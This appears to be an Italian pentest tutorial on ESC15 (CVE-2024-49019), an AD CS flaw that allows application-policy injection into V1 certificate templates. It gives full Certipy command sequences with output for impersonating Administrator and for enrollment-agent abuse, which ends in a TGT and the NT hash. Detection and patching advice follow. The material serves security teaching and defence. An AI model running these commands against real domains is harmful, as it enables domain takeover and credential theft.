windows

ESC15 ADCS (CVE-2024-49019): EKUwu e Injection di Application Policies

ESC15 ADCS (CVE-2024-49019): EKUwu e Injection di Application Policies

ESC15 (CVE-2024-49019) permette di iniettare Application Policies in template V1 AD CS non patchati. Un attaccante può ottenere Client Authentication o Enrollment Agent.

  • Pubblicato il 2026-03-10
  • Tempo di lettura: 3 min

ESC15 è una tecnica di Active Directory Privilege Escalation tramite AD CS scoperta da Justin Bollinger (TrustedSec) e identificata come CVE-2024-49019, soprannominata dalla community EKUwu.

Questa vulnerabilità colpisce Certificate Authority non patchate (pre-Novembre 2024) e permette a un attaccante di iniettare Application Policies arbitrarie dentro un certificato emesso da template V1.

In pratica l’attaccante può aggiungere EKU non previsti dal template, ottenendo capacità che il template non dovrebbe concedere.

Esempio tipico:

  • template WebServer
  • EKU previsto → Server Authentication
  • attaccante inietta → Client Authentication

Il certificato risultante può quindi essere usato per login Active Directory.

Questo rende ESC15 concettualmente simile a:

  • ESC1 (SAN injection)
  • ESC2 (Any Purpose EKU)

ma sfrutta una vulnerabilità nel trattamento dell’estensione:

text
szOID_APPLICATION_CERT_POLICIES

Quando è possibile ESC15 #

Condizioni tipiche:

  • CA non patchata CVE-2024-49019
  • template Schema Version 1
  • template con Enrollee Supplies Subject
  • attaccante con enrollment rights

Indicatori:

text
Schema Version : 1
Enrollee Supplies Subject : True

Identificazione con Certipy #

bash
certipy find -u attacker@corp.local -p 'Passw0rd!'

Output tipico:

text
Template Name : WebServer
Schema Version : 1
Enrollee Supplies Subject : True

[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1

Questo indica che il template può essere abusato se la CA non è patchata.


Exploitation ESC15 #

L’exploit sfrutta il parametro:

text
-application-policies

che permette di iniettare Application Policies nel CSR.


Scenario 1 — Impersonation tramite Client Authentication #

L’attaccante richiede un certificato con Client Authentication.

Step 1 — Richiesta certificato #

bash
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template WebServer \
-upn administrator@corp.local \
-sid S-1-5-21-...-500 \
-application-policies "Client Authentication"

Output:

text
Successfully requested certificate
Saving certificate to administrator.pfx

Il certificato ora contiene Client Authentication EKU.


Step 2 — Autenticazione LDAPS #

bash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell

Output:

text
Authenticated to CORP\Administrator

L’attaccante ottiene accesso LDAP come Administrator.


Scenario 2 — Abuse Enrollment Agent #

In questo scenario l’attaccante crea un Enrollment Agent certificate.


Step 1 — Creare agent certificate #

bash
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template WebServer \
-application-policies "Certificate Request Agent"

Output:

text
Saving certificate attacker.pfx

Ora l’attaccante possiede un Enrollment Agent certificate.


Step 2 — Richiedere certificato per Administrator #

bash
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template User \
-pfx attacker.pfx \
-on-behalf-of CORP\Administrator

Output:

text
Saving certificate administrator.pfx

Step 3 — Autenticazione #

bash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100

Output:

text
Got TGT
Got NT hash for administrator

Impatto ESC15 #

Se sfruttato con successo può portare a:

  • Domain Admin
  • Kerberos impersonation
  • Enrollment agent abuse
  • compromissione completa del dominio

Detection ESC15 #

Indicatori principali:

  • template Schema Version 1
  • Enrollee Supplies Subject
  • enrollment rights ampi

Audit utile:

text
certipy find

oppure audit manuale dei template PKI.


Mitigation ESC15 #

La difesa principale è patchare la CA.

Microsoft ha rilasciato patch per CVE-2024-49019 nel Novembre 2024.


Patch #

Aggiornare tutti i CA server.

Questo impedisce l’iniezione di Application Policies.


Hardening template #

Best practice:

  • evitare Schema V1 templates
  • migrare a V2 / V3
  • limitare enrollment rights
  • disabilitare template inutilizzati

Workaround temporaneo (non raccomandato) #

Disabilitare l’estensione Application Policies nel CSR.

text
certutil -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.21.10
net stop certsvc
net start certsvc

⚠️ Questo può rompere richieste legittime.


FAQ — ESC15 ADCS #

Cos’è ESC15? #

Una vulnerabilità AD CS che permette Application Policy injection nei template V1.

Qual è il bug? #

La CA accetta Application Policies inserite nel CSR anche se non previste dal template.

Serve una CA non patchata? #

Sì. La vulnerabilità riguarda CA pre-patch Novembre 2024.

ESC15 può portare a Domain Admin? #

Sì, tramite impersonation o enrollment agent abuse.


Key Takeaway: se una CA non è patchata per CVE-2024-49019, un attaccante può iniettare EKU arbitrari nei certificati V1 e usarli per autenticazione privilegiata.


ESC15 è una delle vulnerabilità AD CS più recenti e dimostra quanto i template V1 siano pericolosi. Guida completa agli attacchi AD CS: https://hackita.it/articoli/adcs-esc1-esc16Continua con: https://hackita.it/articoli/esc16-adcsSupporta HackIta: https://hackita.it/supportoPentest Active Directory o formazione offensiva: https://hackita.it/serviziRiferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/ https://trustedsec.com/

#ad #adcs #esc

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.